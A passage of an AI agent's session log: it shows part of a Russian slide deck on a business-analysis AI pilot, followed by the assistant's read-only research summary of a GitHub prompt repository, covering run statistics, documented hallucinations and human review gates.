\u043d\u0435\u043d\u0443\u043b\u0435\u0432\u043e\u043c `M-2`. \u041d\u0443\u043b\u0435\u0432\u043e\u0439 `M-2` \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u0433\u0435\u0439\u0442\\n> \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442.\\n\\n**\u0412\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u043e\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e:** \u0432\u043e\u0440\u043e\u043d\u043a\u0430 \u00ab\u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0435 \u043b\u0438\u043d\u0438\u0438 \u2192 \u043e\u0434\u0438\u043d \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u2192\\n\u0421\u0410 / \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0430 / \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u00bb \u0438 \u0441\u0442\u0440\u043e\u043a\u0430 \u043c\u0435\u0442\u0440\u0438\u043a M-1\u2026M-4.\\n\\n**\u041f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f:**\\n\\n```text\\nSeveral different product streams of varied shapes enter a single\\nprecision-machined standard coupling; on the other side they leave as\\nidentical, perfectly fitting connectors that plug directly into three\\nreceiving machines representing analysis, development and a signed\\ncontract.\\nSTYLE: clean isometric technical illustration, deep navy background,\\noff-white linework, single amber accent colour for the key element,\\ngenerous negative space, no text, no letters, no logos, 16:9\\n```\\n\\n**\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438:**\\n[\u043c\u0435\u0442\u0440\u0438\u043a\u0438 M-1\u2026M-5 \u0438 \u043f\u043e\u0440\u043e\u0433 \u0440\u0435\u0448\u0435\u043d\u0438\u044f](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/40-practice-and-cases.md),\\n[ADR-017: \u043e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u0432\u044f\u0437\u044c \u0432 Source](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md),\\n[\u0441\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u044c \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u044b](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-24-architecture-convergence-and-readiness.md).\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 10. \u0427\u0442\u043e\u0431\u044b \u043f\u0435\u0440\u0435\u0439\u0442\u0438 \u043e\u0442 \u043f\u0438\u043b\u043e\u0442\u0430 \u043a \u0421\u0440\u0435\u0434\u0435 4, \u043d\u0443\u0436\u043d\u044b \u0442\u0440\u0438 \u0440\u0435\u0448\u0435\u043d\u0438\u044f\\n\\n**\u0420\u0435\u0448\u0435\u043d\u0438\u044f \u0438 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0448\u0430\u0433.**\\n\\n- **\u0420\u0435\u0448\u0435\u043d\u0438\u0435 1:** \u0434\u043e\u0441\u0442\u0443\u043f \u043a Mango AI \u043f\u043e OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u043c\u0443 API \u0434\u043b\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u0433\u043e\\n  runner'\u0430 \u2014 \u043c\u043e\u0434\u0435\u043b\u044c \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432\u043d\u0443\u0442\u0440\u0438 \u043f\u0435\u0440\u0438\u043c\u0435\u0442\u0440\u0430.\\n- **\u0420\u0435\u0448\u0435\u043d\u0438\u0435 2:** \u043f\u0438\u043b\u043e\u0442 \u043d\u0430 10 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445 contact-center \u0441 \u0437\u0430\u043c\u0435\u0440\u043e\u043c\\n  `M-1`\u2026`M-4` \u0434\u043e \u0438 \u043f\u043e\u0441\u043b\u0435.\\n- **\u0420\u0435\u0448\u0435\u043d\u0438\u0435 3:** \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0437\u0430\u0440\u0430\u043d\u0435\u0435: \u043c\u0435\u043d\u044c\u0448\u0435 95%\\n  \u0448\u0430\u0433\u043e\u0432 \u0441 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u043c \u043f\u043e\u0441\u043b\u0435 10 \u0437\u0430\u0434\u0430\u0447 \u2014 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430\\n  \u043f\u0435\u0440\u0435\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0435\u0442\u0441\u044f.\\n- \u0427\u0442\u043e \u043c\u044b \u043d\u0435 \u0434\u0435\u043b\u0430\u0435\u043c: \u043d\u0435 \u0441\u0442\u0440\u043e\u0438\u043c \u044f\u0434\u0440\u043e \u043d\u0430 n8n, Dify \u0438\u043b\u0438 Flowise \u0438 \u043d\u0435 \u043e\u0442\u0434\u0430\u0451\u043c\\n  \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438 \u0430\u0433\u0435\u043d\u0442\u0443.\\n\\n> **\u0417\u0430\u043f\u0440\u043e\u0441:** \u043d\u0435 \u0431\u044e\u0434\u0436\u0435\u0442 \u043d\u0430 \u00ab\u0418\u0418-\u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430\u00bb, \u0430 \u043f\u043b\u043e\u0449\u0430\u0434\u043a\u0430 \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438\\n> \u0438\u0437\u043c\u0435\u0440\u0438\u043c\u043e\u0439 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b.\\n\\n**\u041f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f:**\\n\\n```text\\nThree illuminated switches on a clean control panel, two already in\\nthe on position and one waiting; behind the panel a calm, well-lit\\nserver room is ready to power up.\\nSTYLE: clean isometric technical illustration, deep navy background,\\noff-white linework, single amber accent colour for the key element,\\ngenerous negative space, no text, no letters, no logos, 16:9\\n```\\n\\n**\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438:**\\n[\u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u043f\u043e \u0441\u0440\u0435\u0434\u0430\u043c \u0438 \u043f\u043e\u0440\u043e\u0433 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md),\\n[RFC \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 Source \u043d\u0430 \u043f\u0438\u043b\u043e\u0442\u0435](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-source-pilot-verification.md).\\n\\n---\\n\\n## \u041f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435. \u041a\u0430\u0440\u0442\u0430 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\\n\\n| \u0423\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 | \u0413\u0434\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c |\\n| --- | --- |\\n| 69 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, 583 \u043a\u043e\u043c\u043c\u0438\u0442\u0430, \u0430\u043f\u0440\u0435\u043b\u044c \u2014 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044c 2026 | [`mango_ba_prompts/runs`](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/runs), [\u0441\u043d\u0438\u043c\u043e\u043a \u043a\u043e\u0440\u043f\u0443\u0441\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-08-25-mango-runs-empirical-snapshot.md) |\\n| 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u043d\u044b \u043f\u043e \u0434\u0435\u0444\u0435\u043a\u0442\u0430\u043c, 4 \u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u043e\u0432 | [\u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md) |\\n| `M-1 = 0.0`, 17 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u2014 17 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440 | [\u0437\u0430\u043c\u0435\u0440 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-artifact-structure-variance-facts.md) |\\n| 10 \u0438\u0437 12 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442 \u0432 24 \u043f\u0440\u043e\u043c\u043f\u0442\u0430\u0445 | [\u0432\u043b\u0438\u044f\u043d\u0438\u0435 \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u044f](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-09-legacy-normative-influence-facts.md) |\\n| \u0418\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b `MM-1`\u2026`MM-4` | [\u0442\u0435\u043e\u0440\u0438\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md) |\\n| 31 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[\u0413-16](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md) |\\n| \u0423 \u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u043d\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f; \u00ablorem ipsum\u00bb \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 n1\u2013n3 | [\u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u2192 \u0441\u0440\u0435\u0434\u044b \u2192 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md) |\\n\",\n[2026-09-29T07:49:33.568Z] [INFO]     \"structuredPatch\": [],\n[2026-09-29T07:49:33.568Z] [INFO]     \"originalFile\": null,\n[2026-09-29T07:49:33.568Z] [INFO]     \"userModified\": false\n[2026-09-29T07:49:33.568Z] [INFO]   }\n[2026-09-29T07:49:33.568Z] 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\"cloudflare\",\n[2026-09-29T07:49:34.504Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:49:34.510Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:49:34.522Z] [STDOUT]   \"cf-ray\": \"a42964504d1bdbb5-FRA\",\n[2026-09-29T07:49:34.524Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:49:34.530Z] [STDOUT] [log_ff2eba] response parsed {\n[2026-09-29T07:49:34.544Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:49:34.548Z] [STDOUT]   status: 200,\n[2026-09-29T07:49:34.551Z] [STDOUT]   body: X {\n[2026-09-29T07:49:34.554Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:49:34.558Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:49:34.561Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:49:34.565Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:49:34.578Z] [STDOUT]     },\n[2026-09-29T07:49:34.583Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:49:34.588Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:49:34.591Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:49:34.598Z] [STDOUT]   },\n[2026-09-29T07:49:34.600Z] [STDOUT]   durationMs: 867,\n[2026-09-29T07:49:34.603Z] [STDOUT] }\n[2026-09-29T07:49:34.699Z] [INFO] {\n[2026-09-29T07:49:34.699Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:49:34.699Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:49:34.699Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T07:49:34.699Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:49:34.699Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:49:34.699Z] [INFO]   \"uuid\": \"11676da1-ccbf-47b9-8997-be37e7a7c6c5\"\n[2026-09-29T07:49:34.699Z] [INFO] }\n[2026-09-29T07:49:35.729Z] [INFO] {\n[2026-09-29T07:49:35.729Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:49:35.729Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:49:35.729Z] [INFO]   \"estimated_tokens\": 150,\n[2026-09-29T07:49:35.729Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:49:35.729Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:49:35.729Z] [INFO]   \"uuid\": \"c39e379a-3481-47f5-b5e9-50ae9b052d70\"\n[2026-09-29T07:49:35.729Z] [INFO] }\n[2026-09-29T07:49:36.880Z] [INFO] {\n[2026-09-29T07:49:36.880Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:49:36.880Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:49:36.880Z] [INFO]   \"estimated_tokens\": 300,\n[2026-09-29T07:49:36.880Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:49:36.880Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:49:36.880Z] [INFO]   \"uuid\": \"548daaec-4e42-436e-a881-f3cd2705a32a\"\n[2026-09-29T07:49:36.880Z] [INFO] }\n[2026-09-29T07:49:37.981Z] [INFO] {\n[2026-09-29T07:49:37.981Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:49:37.981Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:49:37.981Z] [INFO]   \"estimated_tokens\": 450,\n[2026-09-29T07:49:37.981Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:49:37.981Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:49:37.981Z] [INFO]   \"uuid\": \"b7b70279-7902-43b5-a3b2-a55341681486\"\n[2026-09-29T07:49:37.981Z] [INFO] }\n[2026-09-29T07:49:38.110Z] [INFO] {\n[2026-09-29T07:49:38.110Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:49:38.110Z] [INFO]   \"message\": {\n[2026-09-29T07:49:38.110Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:49:38.110Z] [INFO]     \"id\": \"msg_011CfXN2bzdbKt5w2oCHh5Mk\",\n[2026-09-29T07:49:38.110Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:49:38.110Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:49:38.110Z] [INFO]     \"content\": [\n[2026-09-29T07:49:38.110Z] [INFO]       {\n[2026-09-29T07:49:38.110Z] [INFO]         \"type\": \"text\",\n[2026-09-29T07:49:38.110Z] [INFO]         \"text\": \"I wrote the full report to `/tmp/research-notes/mango_ba_prompts.md` and changed nothing in the repo. Every number below comes from the repo's files or git history. Two points first: the repo has no record of GigaCode or Cline at all, and it says outright that it has no golden set or evals yet.\\n\\n## Repo basics\\n- **Default branch:** `main` (checked via origin/HEAD), so links take the form `https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/`.\\n- **Commits:** 583 in total (174 merges, 409 others), from 53506bc on 2026-06-02 (\\\"Add files via upload\\\", README only) to 317a0a1 on 2026-09-28. Activity came in two bursts: June (267 commits) and August (269).\\n- **Authors:** konard, the AI issue-solver bot that turns GitHub issues into PRs, made 442 commits; Ivan Gulienko made 140. About 76% of commits are AI-authored under human-written tasks.\\n- **Structure:** it started as a spoke of the Hub repo `G-Ivan-A/hybrid-Intelligence-lab`. Main folders are `prompts/` (26 files), `patterns/` (7), `standards/` (20), `docs/` (ADRs, RFCs, reports), `kb/`, `runs/` (697 files), `scripts/` (60 validators and generators), `experiments/` (101), a `site/` web app, and CI in `.github/workflows/validate.yml`. The knowledge base moved to the sister repo `G-Ivan-A/mango-ba-ai-runtime` (issue #361, 2026-09-26).\\n\\n## Runs (counted with `ls -d runs/2026/RUN-*`)\\n- **Count:** 69 run folders, RUN-0001 to RUN-0069 with no gaps; each has a `metadata.yaml`.\\n- **Record layout:** `metadata.yaml`, `inputs/`, `outputs/`, `feedback/`, `logs/` (defined in `standards/runs-contract-standard.md`). 56 runs include a metrics block.\\n- **Type:** 48 are statistics-only (chat sessions recorded after the fact) and 21 are execution runs.\\n- **Status:** 37 draft, 19 \\\"works with edits\\\", 8 partial success, and only 2 marked success (RUN-0006, RUN-0060). Of the rest, one needs rework (RUN-0020), one is experimental and one is invalid (RUN-0063, later redone).\\n- **Dates:** run dates span 2026-04-10 to 2026-09-28. Git history only starts 2026-06-02, so the early runs were recorded afterwards from chat exports. For example, 25 exports became RUN-0030 to RUN-0054 in one commit (946e605).\\n- **Models:**\\n  - Early runs used the Qwen family in a web chat (qwen3.5\u20133.8, qwen3-max, qwen3-235b and others).\\n  - Later runs used the AI solver: claude-opus-5 (7 runs), claude-opus-5-5 (2), gpt-5.6-sol (4).\\n  - 10 runs don't record a model.\\n- **Authorship label:** it shifts from \\\"BA/AI\\\" to \\\"BA-IH + LLM\\\" to \\\"AI issue solver \u2026 \u043f\u043e \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0435 \u0411\u0410\\\" (\\\"by the BA's task statement\\\").\\n- **Task categories:**\\n  - Prompt experiments and self-tests.\\n  - Generating and validating functional requirements (FRs) for BCREQ tickets and integrations: amoCRM, Bitrix24, 1C, OkDesk, BPMSoft, IVR, speech analytics, mTalker, e-mail, HH.ru.\\n  - Clarifying questions and meeting-transcript analysis.\\n  - Tender spec feasibility checks: Utair.Chat, STT/TTS/NLU, BCREQ-1114.\\n  - HH.ru \u2194 Mango contact-centre gap analysis (RUN-0056 to 0060).\\n  - Link-review statistics (RUN-0061).\\n\\n**Aggregated metrics.** These are self-reported by each run in its own format, so they are not a benchmark.\\n- 41 hallucinations were logged across 11 runs, and 12 of them ended up in the final artifacts.\\n- Where quality was scored (10 runs), it is 3 in every run except RUN-0028, which scored 2. RUN-0014 never produced its target artifact (5 defects, success rate 0.25).\\n- Success rate is recorded in 19 runs: average about 0.67, range 0.25\u20131.0.\\n- RUN-0013 alone: 75 of 121 answers (0.62) were accepted by the BA without edits; it used 79.4M input tokens over 242 turns and 44 days.\\n- Across the runs that record them: about 62.1M dialog tokens (33 runs), about 103.5 active hours (41 runs), 1,095 episodes (42 runs), 53 BA edits (10 runs).\\n- **Data quality problem:** RUN-0025's token numbers match RUN-0015's, so one was probably copied from the other. Don't quote those two runs' token figures without checking.\\n- **Later structured runs:**\\n  - RUN-0057: 101 requirements checked, 64 covered (0.63), 16 questions for the vendor.\\n  - RUN-0066: 386 requirements (338 yes / 34 partial / 14 no), 702 individual citations.\\n  - RUN-0068: 22 requirements (3 / 7 / 11 / 1 blank); spec rows checked character by character against a SHA-256-pinned transcription of the source screenshots.\\n\\n## How it evolved (git log)\\n1. **Jun 2\u20135, bootstrap:** moved out of the Hub.\\n2. **Jun 10\u201311, from one PDF to a standard:** a single prompt file, \\\"\u041f\u0440\u043e\u043c\u043f\u0442+\u0434\u043b\u044f+\u0411\u0410 (1).pdf\\\" (#54), was split into 23 standardized prompts (commit d8a4759, #56). A taxonomy of 13 cognitive operations \u00d7 9 BA processes followed (00d2072), plus prompt and pattern standards.\\n3. **Jun 13\u201316, method layer:** ADR-003 to ADR-010, including \\\"KB standard before RAG\\\" (ADR-007) and human gates (ADR-009, 1885f7d). **Turning point:** after the first real BA session (experiment 1027), prompt edits were rolled back to v0.1. From then on a prompt changes only via experiment \u2192 RFC \u2192 approval (2abf5e6, #101).\\n4. **Jun 17\u201320, infrastructure:** KB ingestion pipeline (#111), a CI regression validator, the `runs/` contract, and cascading context loading.\\n5. **Aug 17\u201322, measurement:** the vision was corrected to admit there are no evals (#263). RUN-0013 to 0029 were recorded in one day, followed by the metrics contract (#271), run types (#293), and a KB anti-hallucination cross-check (#310: 9,531 key tokens checked, 0 unconfirmed, plus a negative test).\\n6. **Aug 23\u201328, integration standard:** run templates as GitHub issue forms (#323). ADR-011 (1dcca69) introduced two output levels: L1 (one page for the customer) and L4 (detailed evidence for BA, SA and developers).\\n7. **Aug 31\u2013Sep 3, fail-closed citations and root-cause analysis:** a flawed run was reverted, page citations are now verified, and an A/B root-cause analysis was published (00295d5).\\n8. **Sep 26\u201328:** the KB moved to the runtime repo, and RUN-0068/0069 were checked against the source character by character.\\n\\n## Documented failure modes (strongest slide material)\\n- **A/B test on 65 identical rows** (`docs/report/2026-09-01-run-0065-vs-0066-ab-rca.md`), gpt-5.6-sol (RUN-0065) vs claude-opus-5 (RUN-0066):\\n\\n  | Measure | RUN-0065 | RUN-0066 |\\n  |---|---|---|\\n  | Correct verdicts | 47.7% | 100% |\\n  | Correct page citations | 37.8% | 64/64 |\\n  | Hallucinated page numbers | 43.1% | 0% |\\n\\n  The cause was page numbers kept in a hand-made lookup table, while the validator only checked the link's format, not its content.\\n- **KB assessment error analysis** (issue #349): one run narrowed the source of truth to 3 modules and so reported \\\"missing data\\\" as \\\"missing capability\\\". In both flawed runs the validators \\\"\u0437\u0430\u043a\u0440\u0435\u043f\u0438\u043b\u0438 \u043e\u0448\u0438\u0431\u043a\u0443\\\" (\\\"locked the error in\\\"). New rule: search the whole KB index first, then only trusted Mango web domains, and answer \\\"\u041d\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u0445\\\" (\\\"no data\\\") only with an escalation log.\\n- **RUN-0064 error analysis:** 8 errors \u2014 3 contract violations, 2 missing contracts, 2 ambiguous prompts, 1 technical limit. Examples:\\n  - Features that already exist were written up as new requirements.\\n  - A hypothesis was presented as fact.\\n  - A screenshot showing \\\"\u0421\u043a\u0430\u0447\u0430\u0442\u044c: CSV\\\" was ignored.\\n  - The run stopped at questions with no final FR.\\n\\n  Root cause: no gate between \\\"current state\\\" and \\\"required change\\\". Fix: a mandatory chain SSOT \u2192 current state \u2192 delta \u2192 FR \u2192 acceptance criterion, which blocks (fail-closed) when the source is empty.\\n- **Hallucinated standard:** \\\"\u0413\u041e\u0421\u0422 34.602-2015 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442\\\" (\\\"GOST 34.602-2015 does not exist\\\"), in `kb/practices/source-backed-analysis.md`.\\n- **Honest gap:** \\\"evals \u0438 golden-set \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442\\\" (\\\"evals and golden set are missing\\\"), in `README.md`, `ai-governance/ai-governance.md:90` and `pr-ops/BACKLOG.md:324`. Many runs are explicitly labelled \\\"\u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f golden case\\\" (\\\"not a golden case\\\").\\n- **Governing rule:** every BA operation must have a checklist, an eval metric or a human gate; \\\"\u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u0431\u0435\u0437 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u043d\u0435\u0437\u0430\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u043e\u0439\\\" (\\\"an operation without a verification process is considered incomplete\\\").\\n\\n## Target pipeline, mapped to repo artifacts\\n- **Normalizing input:** ADR-011 steps 1\u20132 (download the spec, record a checksum, split it into numbered sub-items with verbatim quotes). RUN-0068 adds a transcription file with SHA-256 per screenshot and a validator that fails on a single-character change.\\n- **Checking against documentation:** a citation format pinned to a specific KB commit, a quote checker (0 mismatches), and cross-checking PDF text extraction with two libraries.\\n- **Generating from templates with source links:** the 26 prompts and 7 patterns, whose frontmatter fixes temperature at 0.1. There is no formal golden set; instead some outputs are named as the reference (RUN-0060's L4 report is \\\"\u044d\u0442\u0430\u043b\u043e\u043d \u0444\u043e\u0440\u043c\u044b L4\\\", the reference form; RUN-0066 is the reference in the A/B study).\\n- **Human gate:** ADR-009 defines three gates \u2014 G1 (requirement structure), G2 (risk sign-off), G3 (approval and baselining) \u2014 and rule B3 says they \\\"\u041d\u0415 \u0414\u041e\u041b\u0416\u041d\u042b \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442\u044c\u0441\u044f \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 LLM\\\" (\\\"must not be passed automatically by an LLM\\\"). The quick rules state \\\"Structured = fail-closed \u2026 \u0437\u0430\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0435\u0442 human review\\\" (\\\"requests human review\\\"). RUN-0060 includes `human-review-checklist.md`.\\n- **Handing off to development:** ADR-011's L1 is one page for the customer (no JSON or API names allowed); L4 is for BA, SA and developers (JSON, diagrams, mappings). RUN-0060's L4 has 10 FR sections, 27 spec sub-items, 11 activity diagrams and 53 source footnotes. **I found no Jira or task-tracker export.**\\n\\n## Where it runs\\n- GigaCode and Cline appear nowhere in this repo, so their use can't be shown from it. Your working repo's backlog items B-219 to B-222 mention a GigaCode guide, but I didn't look into that.\\n- Early runs used the Qwen web chat: \\\"qwen3.7-plus \u2026 \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\\\" in RUN-0014, and \\\"\u0432\u043d\u0435\u0448\u043d\u0438\u0439 \u0447\u0430\u0442 (Qwen, auto_search: true) \u0431\u0435\u0437 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u043e\u0439 \u0411\u0417\\\" (\\\"external chat \u2026 with no KB connected\\\") in RUN-0018.\\n- Later runs used the GitHub issue \u2192 PR AI solver with Claude Code (RUN-0067) and OpenAI Codex (RUN-0064, redacted trace in `docs/report/evidence/`).\\n- Supporting tools: local Python validators, a Makefile, GitHub Actions CI, and a GitHub Pages site.\\n\\n## Not determined\\n- There are no evals or golden-set results anywhere to cite.\\n- Metrics are self-reported in mixed formats (quality appears to be on a 1\u20135 scale, but this isn't stated), so any cross-run average is only indicative.\"\n[2026-09-29T07:49:38.110Z] [INFO]       }\n[2026-09-29T07:49:38.110Z] [INFO]     ],\n[2026-09-29T07:49:38.110Z] [INFO]     \"container\": null,\n[2026-09-29T07:49:38.110Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:49:38.110Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:49:38.110Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:49:38.110Z] [INFO]     \"usage\": {\n[2026-09-29T07:49:38.110Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:49:38.110Z] [INFO]       \"cache_creation_input_tokens\": 7044,\n[2026-09-29T07:49:38.110Z] [INFO]       \"cache_read_input_tokens\": 21859,\n[2026-09-29T07:49:38.110Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:49:38.110Z] [INFO]         \"ephemeral_5m_input_tokens\": 7044,\n[2026-09-29T07:49:38.110Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:49:38.110Z] [INFO]       },\n[2026-09-29T07:49:38.110Z] [INFO]       \"output_tokens\": 3,\n[2026-09-29T07:49:38.110Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:49:38.110Z] [INFO]       \"inference_geo\": 